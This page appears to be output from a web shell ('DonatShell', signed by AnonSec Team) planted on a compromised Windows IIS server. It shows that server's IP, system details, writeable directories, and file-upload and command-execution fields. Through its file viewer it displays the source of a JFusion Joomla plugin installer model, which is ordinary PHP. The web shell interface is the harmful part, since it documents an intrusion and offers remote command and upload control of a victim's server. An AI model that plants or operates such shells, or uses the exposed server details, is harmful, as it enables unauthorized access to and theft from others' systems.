DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/webroot/news/administrator/components/com_jfusion/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/webroot/news/administrator/components/com_jfusion/models//model.install.php
<?php

/**
 * installer model
 *
 * PHP version 5
 *
 * @category  JFusion
 * @package   Models
 * @author    JFusion Team <webmaster@jfusion.org>
 * @copyright 2008 JFusion. All rights reserved.
 * @license   http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link      http://www.jfusion.org
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

/**
 * Require the Joomla Installer model
 */
require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_installer' . DS . 'models' . DS . 'install.php';
require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'models' . DS . 'model.jfusion.php';
require_once JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'defines.php';
jimport('joomla.installer.helper');

/**
 * Class to manage plugin install in JFusion
 *
 * @category  JFusion
 * @package   Models
 * @author    JFusion Team <webmaster@jfusion.org>
 * @copyright 2008 JFusion. All rights reserved.
 * @license   http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link      http://www.jfusion.org
 */
class JFusionModelInstaller extends InstallerModelInstall
{
    /** @var object JTable object */
    var $_table = null;
    /** @var object JTable object */
    var $_url = null;
    /**
     * Overridden constructor
     *
     * @access    protected
     */
    function __construct()
    {
        // Load the language file
        $lang = JFactory::getLanguage();
        $lang->load('com_installer');
        parent::__construct();
    }

    /**
     * Replaces original Install() method.
     *
     * @return array|bool Result of the JFusion plugin install
     */
    function install()
    {
    	$result = array();
    	$result['status'] = false;
        $this->setState('action', 'install');
        $package = null;
        switch (JRequest::getWord('installtype')) {
            case 'folder':
                $package = $this->_getPackageFromFolder();
                break;
            case 'upload':
                $package = $this->_getPackageFromUpload();
                break;
            case 'url':
                $package = $this->_getPackageFromUrl();
                break;
            default:
                $this->setState('message', JText::_('NO_INSTALL_TYPE'));
                $result['message'] = JText::_('NO_INSTALL_TYPE');
                break;
        }
        if (!isset($result['message'])) {
            // Was the package unpacked?
            if (!$package) {
                $this->setState('message', JText::_('NO_PACKAGE_FOUND'));
                $result['message'] = JText::_('NO_PACKAGE_FOUND');
            } else {
                // custom installer
                $installer = new JfusionPluginInstaller($this);

                // Install the package
                $installer->install($package['dir'], $result);

                // Cleanup the install files
                if (!is_file($package['packagefile'])) {
                    $config = JFactory::getConfig();
                    $package['packagefile'] = $config->getValue('config.tmp_path') . DS . $package['packagefile'];
                }
                if ( $result['status'] && is_file($package['packagefile']) ) {
                    //save a copy of the plugin for safe keeping
                    $dest = JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'packages' . DS . JFile::getName($package['packagefile']);
                    if ( $package['packagefile'] != $dest) {
                        JFile::copy($package['packagefile'],$dest);
                    }
                }

                JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']);
            }
        }
        //return the results array
        return $result;
    }

    /**
     * Replaces original Install() method.
     *
     * @param string $filename
     *
     * @return true|false Result of the JFusion plugin install
     */
    function installZIP($filename)
    {
    	$result = array();
        $mainframe = JFactory::getApplication();
        $this->setState('action', 'install');

        // custom installer
        $installer = new JfusionPluginInstaller($this);

        $package = JInstallerHelper::unpack($filename);

        // Install the package
        $installer->install($package['dir'], $result);

        // Cleanup the install files
        if (!is_file($package['packagefile'])) {
            $config = JFactory::getConfig();
            $package['packagefile'] = $config->getValue('config.tmp_path') . DS . $package['packagefile'];
        }
       // JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']);

        //return the results array
        return $result;
    }

    /**
     * Installer class for JFusion plugins
     *
     * @param string $jname name of the JFusion plugin used
     *
     * @return true|false Result of the JFusion plugin uninstall
     */
    function uninstall($jname)
    {
        $db = JFactory::getDBO();
        $db->setQuery('SELECT id FROM #__jfusion WHERE name =' . $db->Quote($jname));
        $myId = $db->loadResult();
        $result['status'] = false;
        if (!$myId) {
            $result['message'] = 'JFusion ' . JText::_('PLUGIN') . ' ' . JText::_('UNINSTALL') . ' ' . JText::_('FAILED');
        } else {
            $installer = new JfusionPluginInstaller($this);
            // Install the package
            $result = $installer->uninstall($jname);
        }
        return $result;
    }

    /**
     * Copy function for JFusion plugins
     *
     * @param string $jname     name of the JFusion plugin used
     * @param string $new_jname name of the new plugin
     * @param bool $update    update existing plugin
     *
     * @return true|false Result of the JFusion plugin uninstall
     */
    function copy($jname, $new_jname, $update = false)
    {
        $db = JFactory::getDBO();
        $db->setQuery('SELECT id FROM #__jfusion WHERE name =' . $db->Quote($jname));
        $myId = $db->loadResult();
        $result['status'] = false;
        if (!$myId) {
            $result['message'] = 'JFusion ' . JText::_('PLUGIN') . ' ' . JText::_('COPY') . ' ' . JText::_('FAILED');
        } else {
            $installer = new JfusionPluginInstaller($this);
            // Install the package
            if (!$installer->copy($jname, $new_jname, $update)) {
                // There was an error installing the package
                $result['message'] = 'JFusion ' . JText::_('PLUGIN') . ' ' . JText::_('COPY') . ' ' . JText::_('FAILED');
            } else {
                // Package installed successfully
                $result['message'] = 'JFusion ' . JText::_('PLUGIN') . ' ' . JText::_('COPY') . ' ' . JText::_('SUCCESS');
                $result['status'] = true;
            }
        }
        return $result;
    }
}
/**
 * Installer class for JFusion plugins
 *
 * @category  JFusion
 * @package   Models
 * @author    JFusion Team <webmaster@jfusion.org>
 * @copyright 2008 JFusion. All rights reserved.
 * @license   http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link      http://www.jfusion.org
 */
class JFusionPluginInstaller extends JObject
{
    var $manifest;
    /**
     * Overridden constructor
     *
     * @param object &$parent parent object
     *
     * @access    protected
     */
    function __construct(&$parent)
    {
//        $this->parent = JInstaller::getInstance();
        $this->parent = new JInstaller;
        $this->parent->setOverwrite(true);
        $this->filterInput = JFilterInput::getInstance();
    }

    /**
     * handles JFusion plugin installation
     *
     * @param mixed $dir install path
     * @param array &$result
     *
     * @return array
     */
    function install($dir = null, &$result)
    {
        // Get a database connector object
        $db = JFactory::getDBO();
        $result['status'] = false;
        $result['jname'] = null;
        if (!$dir && !JFolder::exists($dir)) {
            $this->parent->abort(JText::_('INSTALL_INVALID_PATH'));
            $result['message'] = JText::_('INSTALL_INVALID_PATH');
        } else {
            $this->parent->setPath('source', $dir);


            // Get the extension manifest object
            $manifest = $this->_getManifest($dir);
            if (is_null($manifest)) {
                $this->parent->abort(JText::_('INSTALL_NOT_VALID_PLUGIN'));
                $result['message'] = JText::_('INSTALL_NOT_VALID_PLUGIN');
            } else {
                $this->manifest = $manifest;

	            $file = JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'jfusion.xml';

	            if (file_exists($file)) {
		            if(JFusionFunction::isJoomlaVersion('1.6')) {
			            /**
			             *  @ignore
			             * @var $jfusionxml JXMLElement
			             */
			            $jfusionxml = JFactory::getXML($file);
		            } else {
			            $jfusionxml = JFusionFunction::getXml($file);
		            }

		            $jfusionversion = $this->getElementByPath($jfusionxml,'version');
		            $jfusionversion = $this->getData($jfusionversion);
	            } else {
		            $jfusionversion = false;
	            }

	            $version = $this->getAttribute($this->manifest,'version');

	            /**
	             * ---------------------------------------------------------------------------------------------
	             * Manifest Document Setup Section
	             * ---------------------------------------------------------------------------------------------
	             */
	            // Set the extensions name
	            /**
	             * Check that the plugin is an actual JFusion plugin
	             */
	            $name = $this->getElementByPath($this->manifest,'name');
	            $name = $this->filterInput->clean($this->getData($name), 'string');

	            if (!$jfusionversion || !$version || version_compare($jfusionversion, $version) >= 0) {


		            $result['jname'] = $name;
		            $this->set('name', $name);

		            // installation path
		            $this->parent->setPath('extension_root', JFUSION_PLUGIN_PATH . DS . $name);
		            // get files to copy
		            $element = $this->getElementByPath($this->manifest,'files');

		            /**
		             * ---------------------------------------------------------------------------------------------
		             * Filesystem Processing Section
		             * ---------------------------------------------------------------------------------------------
		             */

		            // If the plugin directory does not exist, lets create it
		            $created = false;
		            if (!file_exists($this->parent->getPath('extension_root'))) {
			            if (!$created = JFolder::create($this->parent->getPath('extension_root'))) {
				            $msg = JText::_('PLUGIN') . ' ' . JText::_('INSTALL') . ': ' . JText::_('INSTALL_FAILED_DIRECTORY') . ': "' . $this->parent->getPath('extension_root') . '"';
				            $this->parent->abort($msg);
				            $result['message'] = $msg;
				            return $result;
			            }
		            }
		            /**
		             * If we created the plugin directory and will want to remove it if we
		             * have to roll back the installation, lets add it to the installation
		             * step stack
		             */
		            if ($created) {
			            $this->parent->pushStep(array('type' => 'folder', 'path' => $this->parent->getPath('extension_root')));
		            }
		            // Copy all necessary files
		            if ($this->parent->parseFiles($element, -1) === false) {
			            // Install failed, roll back changes
			            $this->parent->abort();
			            $result['message'] = JText::_('PLUGIN') . ' ' . $name . ' ' . JText::_('INSTALL') . ': ' . JText::_('FAILED');
		            } else {
			            /**
			             * ---------------------------------------------------------------------------------------------
			             * Language files Processing Section
			             * ---------------------------------------------------------------------------------------------
			             */
			            $languageFolder = $dir. DS.'language';
			            if (JFolder::exists($languageFolder)) {
				            $files = JFolder::files($languageFolder);
				            foreach ($files as $file) {
					            $dest = JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'language' . DS . substr($file,0,5);
					            JFolder::create($dest);
					            JFile::copy($languageFolder. DS .$file, $dest . DS . $file);
				            }
			            }

			            /**
			             * ---------------------------------------------------------------------------------------------
			             * Database Processing Section
			             * ---------------------------------------------------------------------------------------------
			             */
			            //determine the features of the plugin
			            $dual_login = $slave = null;
			            //$features = array('master', 'slave', 'dual_login', 'check_encryption', 'activity', 'search', 'discussion');
			            $features = array('master', 'slave', 'dual_login', 'check_encryption');
			            foreach ($features as $f) {
				            $xml = $this->getElementByPath($this->manifest,$f);

				            if ($xml instanceof JSimpleXMLElement || $xml instanceof JXMLElement) {
					            $$f = $this->filterInput->clean($this->getData($xml), 'integer');
				            } elseif ($f == 'master' || $f == 'check_encryption') {
					            $$f = 0;
				            } else {
					            $$f = 3;
				            }
			            }
			            //let's check to see if a plugin with the same name is already installed
			            $db->setQuery('SELECT id, ' . implode(', ', $features) . ' FROM #__jfusion WHERE name = ' . $db->Quote($name));
			            $plugin = $db->loadObject();
			            if (!empty($plugin)) {
				            if (!$this->parent->getOverwrite()) {
					            // Install failed, roll back changes
					            $msg = JText::_('PLUGIN') . ' ' . JText::_('INSTALL') . ': ' . JText::_('PLUGIN') . ' "' . $name . '" ' . JText::_('ALREADY_EXISTS');
					            $this->parent->abort($msg);
					            $result['message'] = $msg;
					            return $result;
				            } else {
					            //enable/disable features and update the plugin files
					            //store enabled/disabled features to update copies
					            global $plugin_features;
					            $plugin_features = array();
					            $plugin_files = $this->backup($name);
					            $query = 'UPDATE #__jfusion SET plugin_files = ' . $db->Quote($plugin_files);
					            foreach ($features as $f) {
						            if (($$f == 3 && $plugin->$f != 3) || ($$f != 3 && $plugin->$f == 3)) {
							            $query.= ', ' . $f . '=' . $$f;
							            $plugin_features[$f] = $$f;
						            }
					            }
					            $query.= ' WHERE id = ' . $plugin->id;
					            $db->setQuery($query);
					            $db->query();

					            //set the overwrite tag
					            $result['overwrite'] = 1;
				            }
			            } else {
				            //prepare the variables
				            $result['overwrite'] = 0;
				            $plugin_entry = new stdClass;
				            $plugin_entry->id = null;
				            $plugin_entry->name = $name;
				            $plugin_entry->dual_login = $dual_login;
				            $plugin_entry->slave = $slave;
				            $plugin_entry->plugin_files = $this->backup($name);
				            //now append the new plugin data
				            if (!$db->insertObject('#__jfusion', $plugin_entry, 'id')) {
					            // Install failed, roll back changes
					            $msg = JText::_('PLUGIN') . ' ' . JText::_('INSTALL') . ' ' . JText::_('ERROR') . ': ' . $db->stderr();
					            $this->parent->abort($msg);
					            $result['message'] = $msg;
					            return $result;
				            }
				            $this->parent->pushStep(array('type' => 'plugin', 'id' => $plugin_entry->id));
			            }
			            /**
			             * ---------------------------------------------------------------------------------------------
			             * Finalization and Cleanup Section
			             * ---------------------------------------------------------------------------------------------
			             */

			            //check to see if this is updating a plugin that has been copied
			            $query = 'SELECT name FROM #__jfusion WHERE original_name = '.$db->Quote($name);
			            $db->setQuery($query);
			            $copiedPlugins = $db->loadObjectList();
			            foreach ($copiedPlugins as $plugin) {
				            //update the copied version with the new files
				            $this->copy($name, $plugin->name, true);
			            }
			            if ($result['overwrite'] == 1) {
				            $result['message'] = JText::_('PLUGIN') . ' ' .$name .' ' . JText::_('UPDATE') . ': ' . JText::_('SUCCESS');
			            } else {
				            $result['message'] = JText::_('PLUGIN') . ' ' .$name .' ' . JText::_('INSTALL') . ': ' . JText::_('SUCCESS');
			            }
			            $result['status'] = true;
		            }
	            } else {
		            $msg = JText::_('PLUGIN') . ' ' .$name . ': ' . JText::_('FAILED') . ' ' . JText::_('NEED_JFUSION_VERSION') . ' "' . $version . '" ' . JText::_('OR_HIGHER');
		            $this->parent->abort($msg);
		            $result['message'] = $msg;
	            }
            }
        }
        return $result;
    }
    /**
     * handles JFusion plugin un-installation
     *
     * @param string $jname name of the JFusion plugin used
     *
     * @return boolean
     */
    function uninstall($jname)
    {
    	$result['status'] = false;
        if (JFusionFunction::validPlugin($jname)) {
            //if this plugin had been valid, call its uninstall function if it exists
            $JFusionAdmin = JFusionFactory::getAdmin($jname);
            $result = $JFusionAdmin->uninstall();
            $reason = '';
            if (is_array($result)) {
                $success = $result[0];
                if (is_array($result[1])) {
                    $reason = implode('</li><li>'.$jname . ': ',$result[1]);
                } elseif (!empty($result[1])) {
                    $reason = $result[1];
                }
            } else {
                $success = $jname . ': ' . $result;
            }
            if (!$success) {
                $msg = JText::_('PLUGIN') . ' ' .$jname .' ' . JText::_('UNINSTALL') . ' ' . JText::_('FAILED') . ': ' . $reason;
                $this->parent->abort($msg);
                $result['message'] = $msg;
                return $result;
            }
        }
        $db = JFactory::getDBO();

        $query = 'SELECT name , original_name from #__jfusion WHERE name = ' . $db->Quote($jname);
        $db->setQuery($query);
        $plugin = $db->loadObject();
        $removeLanguage = true;
        if (!$plugin || $plugin->original_name) {
            $removeLanguage = false;
        }

        // delete raw
        $db->setQuery('DELETE FROM #__jfusion WHERE name = ' . $db->Quote($jname));
        if (!$db->query()) {
            $this->parent->abort($db->stderr());
        }
        $db->setQuery('DELETE FROM #__jfusion_discussion_bot WHERE jname = ' . $db->Quote($jname));
        if (!$db->query()) {
            $this->parent->abort($db->stderr());
        }
        $db->setQuery('DELETE FROM #__jfusion_users_plugin WHERE jname = ' . $db->Quote($jname));
        if (!$db->query()) {
            $this->parent->abort($db->stderr());
        }
        $dir = JFUSION_PLUGIN_PATH . DS . $jname;
        if (!$jname || !JFolder::exists($dir)) {
            $this->parent->abort(JText::_('UNINSTALL_ERROR_PATH'));
            $result['message'] = JText::_('UNINSTALL_ERROR_PATH');
        } else {
            /**
             * ---------------------------------------------------------------------------------------------
             * Remove Language files Processing Section
             * ---------------------------------------------------------------------------------------------
             */
            // Get the extension manifest object
            $manifest = $this->_getManifest($dir);
            if (is_null($manifest)) {
                $this->parent->abort(JText::_('INSTALL_NOT_VALID_PLUGIN'));
                $result['message'] = JText::_('INSTALL_NOT_VALID_PLUGIN');
            } else {
                $this->manifest = $manifest;

                if ($removeLanguage) {
	                $languageFolder = JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'language';
	                if (JFolder::exists($languageFolder)) {
		                $files = JFolder::files(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'language',  'com_jfusion.plg_'.$jname.'.ini',true);
		                foreach ($files as $file) {
			                $file = JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_jfusion' . DS . 'language' . DS . substr($file,0,5). DS . $file;
			                JFile::delete($file);
		                }
	                }
                }

                // remove files
                if (!JFolder::delete($dir)) {
                    $this->parent->abort(JText::_('UNINSTALL_ERROR_DELETE'));
                    $result['message'] = JText::_('UNINSTALL_ERROR_DELETE');
                } else {
                    //return success
                    $msg = JText::_('PLUGIN') . ' ' .$jname .' ' . JText::_('UNINSTALL') . ': ' . JText::_('SUCCESS');
                    $result['message'] = $msg;
                    $result['status'] = true;
                    $result['jname'] = $jname;
                }
            }
        }
        return $result;
    }
    /**
     * handles copying JFusion plugins
     *
     * @param string  $jname     name of the JFusion plugin used
     * @param string  $new_jname name of the copied plugin
     * @param boolean $update    mark if we updating a copied plugin
     *
     * @return boolean
     */
    function copy($jname, $new_jname, $update = false)
    {
        $dir = JFUSION_PLUGIN_PATH . DS . $jname;
        $new_dir = JFUSION_PLUGIN_PATH . DS . $new_jname;
        $result['status'] = false;
        if (!$jname || !JFolder::exists($dir)) {
            $this->parent->abort(JText::_('COPY_ERROR_PATH'));
            $result['message'] = JText::_('COPY_ERROR_PATH');
        } else if (!JFolder::copy($dir, $new_dir, null, $update)) {
            //copy the files
            $this->parent->abort(JText::_('COPY_ERROR'));
            $result['message'] = JText::_('COPY_ERROR');
        } else {
            // Define our preg arrays
            $regex = array();
            $replace = array();
            //change the classname
            $regex[] = '#JFusion(Auth|User|Forum|Public|Admin|Helper)_' . $jname . '#ms';
            $replace[] = 'JFusion$1_' . $new_jname;
            //change the jname function
            $regex[] = '#return \'' . $jname . '\';#ms';
            $replace[] = 'return \'' . $new_jname . '\';';
            //update the XML name tag
            $regex[] = '#<name>' . $jname . '</name>#ms';
            $replace[] = '<name>' . $new_jname . '</name>';
            /**
             * ---------------------------------------------------------------------------------------------
             * Copy Language files Processing Section
             * @TODO - This section may be improved but works actually
             * ---------------------------------------------------------------------------------------------
             */
            $manifest = $this->_getManifest($dir);
            if (is_null($manifest)) {
                $this->parent->abort(JText::_('INSTALL_NOT_VALID_PLUGIN'));
                $result['message'] = JText::_('INSTALL_NOT_VALID_PLUGIN');
            } else {
                $this->manifest = $manifest;
                $childrens = array();
                $path = '';

                /**
                 * ---------------------------------------------------------------------------------------------
                 * Rename class files and xml file of the new plugin create
                 * ---------------------------------------------------------------------------------------------
                 */
                //define which files need parsing
                $parse_files = array($new_dir . DS . 'auth.php', $new_dir . DS . 'admin.php', $new_dir . DS . 'user.php', $new_dir . DS . 'jfusion.xml', $new_dir . DS . 'forum.php', $new_dir . DS . 'public.php', $new_dir . DS . 'helper.php');
                foreach ($parse_files as $parse_file) {
                    if (file_exists($parse_file)) {
                        $file_data = JFile::read($parse_file);
                        $file_data = preg_replace($regex, $replace, $file_data);
                        JFile::write($parse_file, $file_data);
                    }
                }
                $db = JFactory::getDBO();
                if ($update) {
                    //update the copied plugin files
                    $plugin_files = $this->backup($new_jname);
                    $query = 'UPDATE #__jfusion SET plugin_files = ' . $db->Quote($plugin_files);
                    //get the features of the updated plugin
                    global $plugin_features;
                    if (empty($plugin_features)) {
                        //copy() was called directly because we are upgrading the component
                        $features = array('master', 'slave', 'dual_login', 'check_encryption');
                        foreach ($features as $f) {
                            $xml = $this->getElementByPath($this->manifest,$f);
	                        if ($xml instanceof JSimpleXMLElement || $xml instanceof JXMLElement) {
                                $$f = $this->filterInput->clean($this->getData($xml), 'integer');
	                        } elseif ($f == 'master' || $f == 'check_encryption') {
                                $$f = 0;
                            } else {
                                $$f = 3;
                            }
                        }
                        $db->setQuery('SELECT id ' . implode(', ', $features) . ' FROM #__jfusion WHERE name = ' . $db->Quote($new_jname));
                        $plugin = $db->loadObject();
                        if (!empty($plugin)) {
                            //enable/disable features and update the plugin files
                            $plugin_features = array();
                            foreach ($features as $f) {
                                if (($$f == 3 && $plugin->$f != 3) || ($$f != 3 && $plugin->$f == 3)) {
                                    $plugin_features[$f] = $$f;
                                }
                            }
                        } else {
                            $plugin_features = array();
                        }
                    }
                    foreach ($plugin_features as $key => $val) {
                        $query.= ', '.$key.' = '.$val;
                    }
                    $query.= ' WHERE name = ' . $db->Quote($new_jname);
                    $db->setQuery($query);
                    $db->query();
                } else {
                    //add the new entry in the JFusion plugin table
                    $db->setQuery('SELECT * FROM #__jfusion WHERE name = ' . $db->Quote($jname));
                    $plugin_entry = $db->loadObject();
                    $plugin_entry->name = $new_jname;
                    $plugin_entry->id = null;
                    $plugin_entry->master = ($plugin_entry->master == 3) ? 3 : 0;
                    $plugin_entry->slave = ($plugin_entry->slave == 3) ? 3 : 0;
                    $plugin_entry->plugin_files = $this->backup($new_jname);
                    //only change the original name if this is not a copy itself
                    if (empty($plugin_entry->original_name)) {
                        $plugin_entry->original_name = $jname;
                    }
                    if (!$db->insertObject('#__jfusion', $plugin_entry, 'id')) {
                        //return the error
                        $msg = 'Error while creating the plugin: ' . $db->stderr();
                        $this->parent->abort($msg);
                        $result['message'] = $msg;
                        return $result;
                    }
                }
                $result['message'] = JText::_('PLUGIN') . ' ' .$jname .' ' . JText::_('COPY') . ': ' . JText::_('SUCCESS');
                $result['status'] = true;
            }
        }
        return $result;
    }
    /**
     * load manifest file with installation information
     *
     * @param string $dir Directory
     *
     * @return simpleXML|JXMLElement object (or null)
     */
    function _getManifest($dir)
    {
        // Initialize variables

        /**
         * @TODO DISCUSS if we should allow flexible naming for installation file
         */
        $file = $dir . DS . 'jfusion.xml';
        $this->parent->setPath('manifest', $file);
        // If we cannot load the xml file return null

		if(JFusionFunction::isJoomlaVersion('1.6')) {
            /**
             *  @ignore
             * @var $xml JXMLElement
             */
			$xml = JFactory::getXML($file);
		} else {
			$xml = JFusionFunction::getXml($file);
		}
    	/*
        * Check for a valid XML root tag.
        * @TODO Remove backwards compatibility in a future version
        * Should be 'install', but for backward compatibility we will accept 'mosinstall'.
        */
		if (!is_object($xml) || ($xml->name() != 'install' && $xml->name() != 'mosinstall')) {
            // Free up xml parser memory and return null
            unset($xml);
            $xml = null;
        } else {
            /**
             * Check that the plugin is an actual JFusion plugin
             */
            $type = $this->getAttribute($xml,'type');

            if ($type!=='jfusion') {
                //Free up xml parser memory and return null
                unset ($xml);
                $xml = null;
            }
        }

        // Valid manifest file return the object
        return $xml;
    }
    /**
     * handles JFusion plugin backups
     *
     * @param string $jname name of the JFusion plugin used
     *
     * @return backup zip file data or location
     */
    function backup($jname)
    {
        $config = JFactory::getConfig();
        $tmpDir = $config->getValue('config.tmp_path');
        //compress the files
        $filename = $tmpDir . DS . $jname . '.zip';
        //retrieve a list of files within the plugin directory
        $pluginPath = JFUSION_PLUGIN_PATH . DS . $jname;
        //check for zip creation
        $zipSuccess = false;
        //we need to chdir into the plugin path
        $cwd = getcwd();
        chdir($pluginPath);
        //get the contents of the files in the plugin dir
        $filesArray = $this->getFiles($pluginPath, $jname);
        if (extension_loaded('zlib')) {
            //use Joomla zip class to create the zip
            /**
             * @ignore
             * @var $zip JArchiveZip
             */
            $zip = JArchive::getAdapter('zip');
            if ($zip->create($filename, $filesArray)) {
                $zipSuccess = true;
            }
        } elseif (class_exists('ZipArchive')) {
            //use PECL ZipArchive to create the zip
            $zip = new ZipArchive();
            if ($zip->open($filename, ZIPARCHIVE::CREATE) === true) {
                foreach ($filesArray as $file) {
                    $zip->addFromString($file['name'], $file['data']);
                }
                $zip->close();
                $zipSuccess = true;
            }
        }
        chdir($cwd);
        $data = ($zipSuccess && file_exists($filename)) ? @file_get_contents($filename) : '';
	    JFile::delete($filename);
        return $data;
    }

    /**
     * get files function
     *
     *  @param string $folder folder name
     *  @param string $jname  jname
     *
     *  @return array files
     */
    function getFiles($folder, $jname)
    {
        $filesArray = array();
        $files = JFolder::files($folder, null, false, true);
        foreach ($files as $file) {
            $file = str_replace(JFUSION_PLUGIN_PATH . DS . $jname . DS, '', $file);
            $data = JFile::read($file);
            $filesArray[] = array('name' => $file, 'data' => $data);
        }
        $folders = JFolder::folders($folder, null, false, true);
        if (!empty($folders)) {
            foreach ($folders as $f) {
                $filesArray = array_merge($filesArray, $this->getFiles($f, $jname));
            }
        }
        return $filesArray;
    }

    /**
     * getElementByPath
     *
     *  @param JXMLElement|JSimpleXMLElement $xml xml object
     *  @param string $element element path
     *
     *  @return JXMLElement|JSimpleXMLElement elements
     */
    function getElementByPath($xml, $element)
    {
        $elements = explode('/',$element);
        foreach ($elements as $element) {
            if($xml instanceof JXMLElement) {
                $xml = $xml->$element;
            } elseif($xml instanceof JSimpleXMLElement) {
                $xml = $xml->getElementByPath($element);
            } else {
                $xml = null;
                break;
            }
        }
        return $xml;
    }

    /**
     * getAttribute
     *
     *  @param JXMLElement|JSimpleXMLElement $xml xml object
     *  @param string $attribute attribute name
     *
     *  @return string result
     */
    function getAttribute($xml, $attribute)
    {
        if($xml instanceof JXMLElement) {
            $xml = $xml->getAttribute($attribute);
        } elseif($xml instanceof JSimpleXMLElement) {
            $xml = $xml->attributes($attribute);
        } else {
            $xml = null;
        }
        return $xml;
    }

	/**
	 * getData
	 *
	 *  @param JXMLElement|JSimpleXMLElement $xml xml object
	 *
	 *  @return JXMLElement|string result
	 */
	function getData($xml)
	{
		if($xml instanceof JSimpleXMLElement) {
			$xml = $xml->data();
		}
		return $xml;
	}
}

Anon7 - 2022
AnonSec Team